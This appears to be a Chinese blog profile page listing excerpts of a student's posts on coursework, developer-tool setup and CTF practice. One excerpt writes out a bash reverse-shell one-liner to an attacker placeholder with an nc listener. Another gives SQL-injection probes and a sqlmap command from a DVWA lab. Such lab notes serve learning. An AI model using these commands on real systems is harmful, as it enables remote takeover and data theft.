自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+

秋叶依剑

岁月静好,一直到老

  • 博客(50)
  • 资源 (3)
  • 收藏
  • 关注

原创 区间贪心 | 附图解

区间贪心题目是落谷的P1803:https://www.luogu.com.cn/problem/P1803解题思路:首先定义区间结构体,将所有输入的区间存放到数组intervals[]中。将数组中的区间按照右端点从小到大排序,如果右端点相等,则按照左端点从大到小排序。定义一个索引index用来存放上一个被选中的区间的右端点,遍历数组,如果该区间的左端点大于index,则ans++ ,更新index的值为当前区间的右端点。打印答案ans#include <stdio.h>

2021-03-15 23:38:28 359

原创 数据库期末复习笔记--王珊《数据库系统概论》

数据库站在前人的肩膀上能走的更远,有些地方参考另一篇博客,链接放在最后了。其他知识均总结自王珊老师的《数据库系统概论》。通过本篇博客,能对数据库基础知识有个大致了解,更专业,更详细的知识还是查阅教材比较好。基本概念数据库是长期存储在计算机内、有组织的、可共享和大量数据的集合。数据库三个阶段:人工管理,文件系统,数据库系统数据库有两个重要的模型:概念模型和数据模型。概念模型面向人,数据模型面向机器。Data:数据,是数据库中存储的基本对象,是描述事物的符号记录。Database:数据库,是长

2020-12-22 18:23:50 3121

原创 Oracle 安装入门就是这么简单 | 使用Navicat连接

前言大三开了数据库这门课,要求使用Oracle。来回大概折腾了一下午,发现无论是比较古老的10g还是目前为止最新的19c,安装起来都比较麻烦。关键是动辄几个G的安装包会很有多我们用不到的功能。本着精简的原则,我决定安装相对于10g比较新但是有没有19c那么大的11g XE版。11g XE 特别之处Oracle 11g XE 是 Oracle 数据库的免费版本,支持标准版的大部分功能,占用内存小。11g XE 提供 Windows 和 Linux 版本。作为入门学习甚至小型企业的的生产环境都足够用了。

2020-11-25 22:05:24 482 2

原创 CLion Makefile 简明教程 | 使用CLion从0到1创建一个Makefile项目

前言用了3个多小时看完了陈浩的《跟我一起写Makefile》,打算使用CLion大展身手的时候,发现Clion默认使用CMake工具,本意是帮助简化Makefile的编写。但是我今天折腾了一天CMake,总感觉不是很喜欢,不如写原生的Makefile来的顺手。正好我看到Jetbrains的官网发布博客,从CLion 2020.2开始支持Makefile工程。(如下图)虽说还是初期,但是足以覆盖我的小项目。今天正好是1024程序员节,写篇博客纪念一下呗,O(∩_∩)O哈哈哈~。还等什么,兄弟们,走起。该

2020-10-24 23:55:07 11963 1

原创 OS操作系统期末复习 -- 名词解释&简答题

名词解释操作系统管理系统资源、控制程序执行、改善人机界面、提供各种服务,并合理组织计算机工作流程和为用户方便有效地使用计算机提供良好运行环境的一种系统软件。多道程序设计允许多个作业(程序)同时进入计算机系统的内存并启动交替计算的方法。并发两个或两个以上的活动或事件在同一时间间隔内发生。资源复用让众多进程共享物理资源,解决物理资源数量不足资源虚化对资源进行转化、模拟或整合,把物理上的一个资源变成逻辑上的多个对应物的一类技术进程可并发执行的程序在某个数据集合上的一次计算活动,也是操作系统

2020-06-12 01:17:21 10058

原创 快速上手超级实用的JS模板引擎--doT.js

文章目录总体结构使用教程1. 赋值2. 数组3. 条件4. 编码渲染5. 定义与引用公共模块6. 循环Reference总体结构<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>dot</title> <!--引入jQuery和doT.js文件 --> <script src="ass

2020-05-15 17:57:43 408

原创 Refused to apply style from * because its MIME type ('text/html') is not a supported stylesheet 原因

文章目录前言原因总结前言VSCode最近一路高歌猛进,成为最流行的前端开发编辑器之一。不得不说用起来真香,所以平时写项目代码就喜欢搭配IDEA一起使用,主要是因为里面有个Live Server插件,可以实时刷新我所修改的前端页面,但是今天遇到了这个错误:Refused to apply style from ‘http://127.0.0.1:5500/assets/css/book.css’ because its MIME type (‘text/html’) is not a supporte

2020-05-14 11:00:06 31107 1

原创 Servlet下载工具类DownloadUtils(修复BASE64Encoder.jar包找不到方法)

Servlet在实现下载功能时,有可能会遇到中文文件名乱码问题,网上有人封装好了一个工具类用来解决此问题,但是如果你用的jdk版本大于1.8,就有可能会遇到BASE64Encoder.jar包找不到方法,博主用的jdk版本是jdk13, 所以这里附上一份新的DownloadUtils工具类实现jdk11或更高主要用java.util.Base64替换 sun.misc.BASE64Encoderpackage utils;import java.util.Base64;import java.i

2020-05-10 22:42:23 496 1

原创 知识图谱可视化应用研究现状文献综述

信息检索课写的一篇文献综述,这里记录一下,或许以后研究会用到文章目录摘要关键词AbstractKey words引言知识图谱概念知识图谱可视化的构建流程及关键技术1. 数据来源与处理结构化数据处理半结构化数据处理非结构化数据处理2. 知识抽取实体抽取关系抽取属性抽取3. 知识融合4. 知识加工5. 质量评估和知识更新6. 知识图谱可视化知识图谱可视化构建工具知识图谱可视化应用领域搜索引擎知识...

2020-05-08 13:21:17 5495

原创 NOR闪存和NAND闪存的读写特点总结归纳(对比分析)

NOR闪存NAND闪存读写基本单位字块存储介质随机存储介质,适用数据量较小的场合连续性存储介质,适合数据量较大的场合读写性能读速度比NAND闪存快一些NAND的写入速度比NOR快很多擦除速度擦除NOR器件时在64~128KB的块进行,执行一个擦除/写入操作的时间约为5s擦除NAND器件在8~32KB的块进行,执行一个擦除/写入操作最多只需要4...

2020-04-30 17:28:20 2680 1

原创 Ubuntu 18.04.4桌面美化

文章目录1. 安装tweak tool2. 安装user themes 插件3. 打开 User themes1. 安装tweak toolsudo apt install gnome-tweak-tool2. 安装user themes 插件sudo apt install gnome-shell-extensions安装好之后,Ubuntu会多出来一个名字叫"优化"的软件3. ...

2020-04-21 23:41:20 960

原创 CentOS 8/7/6 快速修改为阿里云镜像源 (附一键替换脚本)

文章目录

2020-04-03 15:48:09 3849

原创 InteliJ IDEA 编写jsp没有提示问题( 两个解决方法)

文章目录前言准备工作方法一方法二总结前言虽说jsp(java server page)是一个老古董了,但是曾经也确实辉煌过,学习Web前端,还是要了解一下。用idea编写jsp案例的时候,想要在html 内编写java 代码,但是少了idea给的提示,感觉效率太低,这里整理总结一下详细的解决办法,给入坑的小伙伴点提示。准备工作首先,我用的是 idea 2019.3,如果是idea老版本比...

2020-03-25 12:17:15 6737 2

原创 Jenkins 简单上手教程--构建一个静态Web网站

前言我在腾讯云服务器(CentOS 8)上搭建了一个静态的Web个人展示网站,源码托管到了gitees上,每次在本地修改完推送到gitee上,还要ssh到服务器上再 git pull 一下,觉得有些麻烦,就想到了Jenkins的持续部署功能,说实话,各位可以了解一下,Jenkins功能强大,被用来这么做确实大材小用。不过我主要是为了体验Jenkins,就管不了这么多了,就当给想上手的小伙伴看看他...

2020-02-29 21:34:44 523

原创 Jenkins 使用国内镜像快速安装(rpm安装)

文章目录前言0x01.下载rpm包0x02. 安装并启动1. 安装2. 修改端口3. 开启服务4. 修改默认镜像源访问前言之前写了一篇文章关于如何用Docker 快速安装Jenkins:《Docker 快速安装Jenkins实用教程 (采坑记附详细步骤)》 ,再使用过程中还是感觉有些不方便,所以友重新采用rpm包安装了一下,也是受够了官方rpm源的安装速度,所以特意找了清华大学的Jenkin...

2020-02-29 11:41:01 10939

原创 Docker 快速安装Jenkins实用教程 (采坑记附详细步骤)

首先 安装docker,配置镜像加速,这里不再赘述查找镜像docker search jenkins下载Jenkins镜像文件docker pull jenkins/jenkins创建Jenkins挂载目录并授权mkdir -p /var/jenkins_nodechmod 777 /var/jenkins_node创建并启动容器docker run -d --name ...

2020-02-25 23:12:30 1703

原创 CentOS下 Git 升级

1.卸载原来的Gityum remove git2.下载Git源码我用的是2.5.0版本wget https://www.kernel.org/pub/software/scm/git/git-2.5.0.tar.gz3.安装Git(1).安装依赖yum -y install curl-devel expat-devel gettext-devel openssl-devel z...

2020-02-23 23:24:08 153

原创 Sharing is only supported for boot loader classes because bootstrap classpath has been appended 原因正解

前言可能有小伙伴在调试 java 项目时候,如果不是 点击 运行 而是 Debug 项目,则编译控制台可能就会有个警告Sharing is only supported for boot loader classes because bootstrap classpath has been appended出现这个的原因是因为使用了共享类数据,你可能t同时使用了 -Xbootclasspa...

2020-02-20 20:57:04 38053 8

原创 Java HotSpot(TM) 64-Bit Server VM warning: Options -Xverify:none and -noverify were deprecated....

文章目录前言尝试方法一:删掉用户变量 _JAVA_OPTIONS尝试方法二:修改项目VM OPTIONS尝试方法三:不要勾选 Enable lanuch optimization总结前言最近学习 Springboot ,当编译一个练习项目的时候,出现了Java HotSpot(TM) 64-Bit Server VM warning: Options -Xverify:none and -n...

2020-02-20 16:36:17 22769 31

原创 idea 卡在 Resoving Maven dependencies的问题--junit-platform-launcher引发的血案

文章目录前言尝试办法1 ——修改Maven镜像尝试办法二 —— 修改堆内存尝试办法三 ——修改配置依赖 pox.xml未尝试办法总结前言学习Springboot 的时候,做的一个java项目用到了maven,当我尝试用 Junit 进行单元测试某一项功能的时候,idea一直卡在加载 Resoving Maven dependencies 这个小窗口,看到窗口里的提示信息,加载的正是junit-...

2020-02-19 22:55:50 26290 38

原创 数据结构课设——表达式求值(c++)

文章目录中缀表达式转后缀表达式程序源文件Caculate.hCaculate.cppmain.cpp完成基本功能:(1) 从文件或者键盘读入中缀表达式。(2) 设计操作数为多位整数,操作符为加、减、乘、除、求模的中缀表达式求值算法(3) 设计将中缀表达式转换为后缀表达式的算法(4) 设计将中缀表达式转换为前缀表达式的算法(5) 设计后缀表达式的求值算法(6) 设计前缀表达式的求值算...

2020-01-08 20:31:24 2298 2

原创 kali 和 centOS 跳过开机启动菜单(无需等待)

虚拟机安装的kali和CentOS的开机会有引导界面,默认需等待5秒才能自动进入默认的启动项,接下来会尝试将等待时间调成0秒,也就是跳过启动菜单,直接进入默认启动项kalisudo -i //转成root用户vim /etc/default/grub //vim编辑这个文件将GRUB_TIMEOUT设置成0,保存退出,输入update-grub来更新文件,之后重启看看效果...

2020-01-03 19:44:06 2688 4

原创 git 项目同步提交github 和 gitee两个远程仓库

文章目录前言1. 首先在本地新建一个文件夹,使用`git init` 初始化2. 添加远程仓库3. 使用`git remote -v`查看所有远程分支,配置成功会出现:4. 分别拉取GitHub 和gitee上的远程分支5. 本地仓库关联远程仓库,这里我关联的是github远程仓库,gitee仓库保持同步就行了6. 同步并拉取所有远程分支7. 最后说明前言目标实现:将自己的项目同时提交到git...

2019-12-27 17:42:32 724 1

原创 数据结构期末复习笔记

文章目录数据结构前言逻辑结构与物理结构算法线性表线性与非线性结构头指针与头结点链表为空判断单链表结构与顺序存储结构的优缺点栈和队列串子串的个数树二叉树遍历树和二叉树遍历对应关系树转成二叉树二叉树性质图无向图关键路径拓扑排序查找二分查找分块查找二叉排序树平衡二叉树(AVL树)散列表查找排序七种排序算法的各种指标比较数据结构前言逻辑结构与物理结构逻辑结构:是指数据对象中数据元素之间的相互关系...

2019-12-22 21:15:26 14111 1

原创 数据结构期末复习排序算法实现(C++版)

文章目录0x01. 冒泡排序0x01. 冒泡排序void bubbleSort(int arr[],int len) { //冒泡排序核心算法 for (int i = 0; i < len-1; i++) { //i表示冒泡轮数 for (int j = 0; j < len - i-1; j++) { if (arr[j] > arr[j+1]) {...

2019-12-21 23:26:32 248

原创 用PowerShell卸载win10内置应用&&win10照片应用打不开的终极解决方案

最近win10电脑的照片应用不知什么原因,打开一直黑屏, 闪退。win10社区提供了一种解决方案:在Cortana搜索框输入windows powershell,鼠标右击windows powershell以管理员运行,复制粘贴以下命令运行Get-AppxPackage -AllUsers| Foreach {Add-AppxPackage -DisableDevelopmentMode -R...

2019-12-14 11:37:13 1148

原创 关于原码、反码、补码、和求补区别总结

文章目录1. 原码2. 反码3. 补码4. 补码和求补(NEG)的区别5. 求补(NEG)运算的几个方法6. 总结1. 原码某个数按照绝对值转换成的二进制数,如果原来的数是负数,需在二进制的最高位补1。如果是正数,则不变。2. 反码正数的反码与原码相同,负数的反码为对原码(除符号位外)的所有位取反。3. 补码正数的补码与原码相同,负数的补码为对原码(除符号位外)的所有位取反,...

2019-12-12 22:18:26 7961 3

原创 DVWA SQL注入练习(low级别)

文章目录0x01. 基于布尔检测0x02. 使用sqlmap小总结1. 检测注入2. 获取数据库基本信息0x01. 基于布尔检测1' and '1'='11’ and ‘1’=’2由此可以判断存在SQL注入0x02. 使用sqlmap通过sqlmap 也可以检测注入点sqlmap -u "http://xiaoxiao.com/vulnerabilities/sqli/?i...

2019-12-02 00:14:50 299

原创 汇编语言程序设计期末总结

文章目录

2019-11-27 15:45:29 2296 2

原创 简单两步解决Tomcat 控制台中文乱码问题

刚刚用Tomcat 跑起来一个demo,发现控制台的日志打印是中文乱码,其实没什么影响,但看起来有点不爽,就修改了一下解决办法找到Tomcat安装目录,进入conf文件夹,例如我的是D:\Tomcat\apche-tomcat-9.0.29\conf打开logging.properties文件,找到java.util.logging.ConsoleHandler.encodin...

2019-11-26 12:17:12 425

原创 Bugku代码审计

文章目录Bugku代码审计0x01. extrack 变量覆盖trim()函数payload0x02. strcmp比较字符串strcmp()函数0x03. urldecode二次编码绕过eregi()函数payload0x04. md5()函数payload0x05. 数组返回NULL绕过payloadBugku代码审计0x01. extrack 变量覆盖<?php$flag='x...

2019-11-25 02:00:11 370

原创 npm修改默认安装路径并配置环境变量

文章目录0x01. 修改默认安装路径0x02. 配置环境变量0x01. 修改默认安装路径打开cmd,依次输入一下命令npm config set prefix "D:\nodejs\node_global"npm config set cache "D:\nodejs\node_cache"也可直接在用户根目录下添加配置文件.npmrc(有的话直接修改,没有就新建)在文件中...

2019-11-24 10:24:16 2479

原创 功防世界Web高手进阶Writeup

攻防世界Web进阶区文章目录攻防世界Web进阶区0x01. Cat解题思路附注0x02. ics-05解题思路0x03. mfw解题思路0x01. Cat难度系数 1.0题目来源: XCTF 4th-WHCTF-2017题目描述: 抓住那只猫题目场景: http://111.198.29.45:43180/ 具体参见攻防世界题目附件:无解题思路尝试提交空域名,返回I...

2019-11-17 21:33:38 808

原创 修改npm全局安装路径

文章目录1. 新建文件夹2. 命令行修改1. 新建文件夹例如,我希望设置在我nodejs的安装路径根目录下,于是我就新建了两个文件夹,node_global 和 node_catch2. 命令行修改npm config set cache "D:\Nodejs\node_global"npm config set prefix "D:\Nodejs\node_cache"这将在...

2019-11-16 17:26:28 1477

原创 (vivado + vsCode)安装vivado之后要做的几件事

文章目录0x01. 修改默认文本(代码)编辑器为vsCode0x02. 安装 Verilog HDL/SystemVerilog 插件0x03. 配置xvlog0x04. 安装 Testbench 插件 快速例化模块要上数字逻辑实验,软件用的是 vivado 2019.1.3,下面记录一下安装之后的优化配置。0x01. 修改默认文本(代码)编辑器为vsCode首先安装vsCode, 这...

2019-11-12 11:14:00 5887 14

原创 几种常见反弹shell汇总

0x01. bash在攻击主机上执行端口监听:nc -lvvp port //port 为攻击主机端口号,并且此端口号没有被占用在目标主机上执行:bash -i >& /dev/tcp/攻击主机ip/port 0>&1 //port 为攻击主机端口号解释:bash -i 打开一个交互的bash>& 将标准...

2019-11-10 01:19:00 14503 1

原创 CTF 中PHP为协议总结

CTF 中PHP为协议总结php://filterphp://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。php://filter 目标使用以下的参数作为它路径的一部分。 复合过...

2019-11-09 23:17:01 1385

原创 Win10 DOSBox安装好之后的正确配置(解决不能全屏,挂载问题)

DOSBox 是学习汇编语言是用到的一款工具,在win xp 和 win7 中可能很少遇见不能全屏的问题,在win10中可能由于兼容性问题(DOSBox 是32位的), 会出现不能全屏,或者一按 alt +enter全屏就退出.解决方案我看网上有很多人是在DOSBox的安装目录找到DOSBox 0.74-3 Options.bat 这个文件,然后修改里面的参数,但是可能由于版本原因,并没...

2019-11-08 15:17:10 5051

原创 PHP学习笔记

1. PHP 并置运算符在 PHP 中,只有一个字符串运算符。并置运算符 (.) 用于把两个字符串值连接起来。下面的实例演示了如何将两个字符串变量连接在一起:<?php$txt1="Hello world!";$txt2="What a nice day!";echo $txt1.$txt2;?>2. PHP strlen() 函数有时知道字符串值的长度是很有用的...

2019-11-02 11:54:23 193

原创 winXPwin7win10搭建汇编环境

前言这学期学汇编,看B站上有个老师讲王爽的《汇编语言》讲的不错,这里记录下搭建过程。工具下载:https://www.lanzous.com/i6y3nij一. winXP环境搭建c盘根目录下新建名为 asm 的文件夹(虚拟机演示,只有C盘,推荐建在D盘,名字什么的也无所谓)在文件夹下新建测试用的文本文件,并将以下代码保存其中,名字改为 t1.asmassume cs:c...

2019-10-25 13:11:08 461

数据结构课设——表达式求值(c++)

表达式是数据运算的基本形式。人们的书写习惯是中缀式,如:11+22*(7-4)/3.中缀式的计算按运算符的优先级及括号优先的原则,相同级别从左到右进行计算。表达式还有后缀表达式(如:11 22 7 4 - * 3 / +)和前缀表达式(+ 11 / * 22 - 7 4 3)。后缀表达式和前缀表达式中没有括号,给计算带来方便。如后缀表达式计算时按运算符出现的先后进行计算。本设计的主要任务是进行表达式形式的转换及不同形式的表达式计算。

2020-01-08

Rolan快捷工具箱.zip

一个电脑快捷方式管理工具箱,让自己的电脑桌面干净起来,支持多开,快捷携带,可将文件路径转化为相对路径,赶快下载试试吧。

2019-11-10

TopMost11.zip

TopMost11,将窗口固定到最前面,一个比较实用的小工具,很久之前收藏的,一直在用,可以下载来试试,

2019-11-09

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除